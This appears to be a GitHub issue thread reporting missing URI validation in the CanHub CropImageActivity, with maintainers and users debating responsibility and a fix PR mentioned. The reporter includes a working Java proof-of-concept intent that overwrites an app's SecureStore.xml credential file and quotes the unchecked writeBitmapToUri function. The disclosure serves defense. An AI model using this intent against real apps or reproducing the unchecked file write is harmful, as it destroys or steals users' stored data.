URI validation security issue

[yn33]

Exporting the CropImageActivity causes security risks which allow overwriting of files and file theft. There should be a warning about exporting the activity in the instructions.

There is no URI validation performed for customOutputUri in cropImageOptions. A malicious application can insert a URI and manipulate the file system. The file type is also not checked, so binary files can be inserted and potentially executed.

For example, the following code would overwrite the SecureStore.xml file, destroying the user's credentials. XML files would never be used in an image cropper so there is no reason for this to be possible. File theft can be done by inserting an external memory URI, if the application has external write permissions.

Even without exporting the component, this includes an unnecessary security risk. Activities can be launched by malicious intents and URI's manipulated in other conditions as well.

Bundle extras = new Bundle();
Uri.Builder builder = new Uri.Builder();
builder.scheme("file");
builder.authority(""); 
builder.path("/data/user/0/com.example/cache/DocumentPicker/646fe846-
40dd-47a0-9683-c5f799970d1f.jpeg");
Uri uri = builder.build();
extras.putParcelable("CROP_IMAGE_EXTRA_SOURCE", uri); 
builder.path("/data/user/0/com.example/shared_prefs/SecureStore.xml");
Uri uri2 = builder.build();
CropImageOptions opt = new CropImageOptions();
if(uri2 != null) {
 opt.customOutputUri = uri2;
}
extras.putParcelable("CROP_IMAGE_EXTRA_OPTIONS", opt);
Intent intent = new Intent();
intent.putExtra("CROP_IMAGE_EXTRA_BUNDLE", extras);
intent.setClassName("com.example","com.canhub.cropper.CropImageActivity"
);
mStartForResult.launch(intent)

The BitmapUtils class should evaluate whether the file extension matches the compressFormat (such as the one provided by buildUri). Overwriting files that already exist and writing in external memory should also ideally have security controls, but they are more difficult to implement without breaking functionality.

Currently the writeBitMapToUri does not conduct any checks:

fun writeBitmapToUri(
    context: Context,
    bitmap: Bitmap,
    compressFormat: CompressFormat,
    compressQuality: Int,
    customOutputUri: Uri?,
): Uri {
    val newUri = customOutputUri ?: buildUri(context, compressFormat)

    return context.contentResolver.openOutputStream(newUri, WRITE_AND_TRUNCATE).use {
        bitmap.compress(compressFormat, compressQuality, it)
        newUri
    }
}

[M66B]

IMHO it is good that CropImageActivity has been deprecated, and it can better be removed with the next version, also to reduce the maintenance burder. Too many libraries already went unmaintained.

The caller should limit the allowable URIs because only the caller knows how the library is being used. The caller can and should restrict file access with appropriate permissions as well. Limiting the file extension is a security hack and security shouldn't rely on hacks.

Removing CropImageActivity makes the caller responsible for input/output validation.

[Seba0855]

I agree with the issue reported by @M66B. There is a risk that there might be a scenario where someone prepares malicious intent and launches the CropImageActivity from which the attacker can address CROP_IMAGE_EXTRA_SOURCE, CROP_IMAGE_EXTRA_OPTIONS fields, and overwrite the app data.

@vanniktech, can we expect this fix to be implemented?

[PanwarM]

@vanniktech @Canato , any updated on this one? If a fix is not possible, can you share workaround notes which can be implemented?

[M66B]

@M66B , any updated on this one? If a fix is not possible, can you share workaround notes which can be implemented?

I'm not the developer of this library, so you are asking the wrong person.

[Canato]

@vanniktech @Canato , any updated on this one? If a fix is not possible, can you share workaround notes which can be implemented?

Hey @PanwarM is a open source project, I don't see anyone taking over this work yet, feel free to do it and open a PR =D

[xronyx]

@vanniktech @Canato , any updated on this one? If a fix is not possible, can you share workaround notes which can be implemented?

Hey @PanwarM is a open source project, I don't see anyone taking over this work yet, feel free to do it and open a PR =D

@Canato we have opened a PR with a fix, please review and let us know.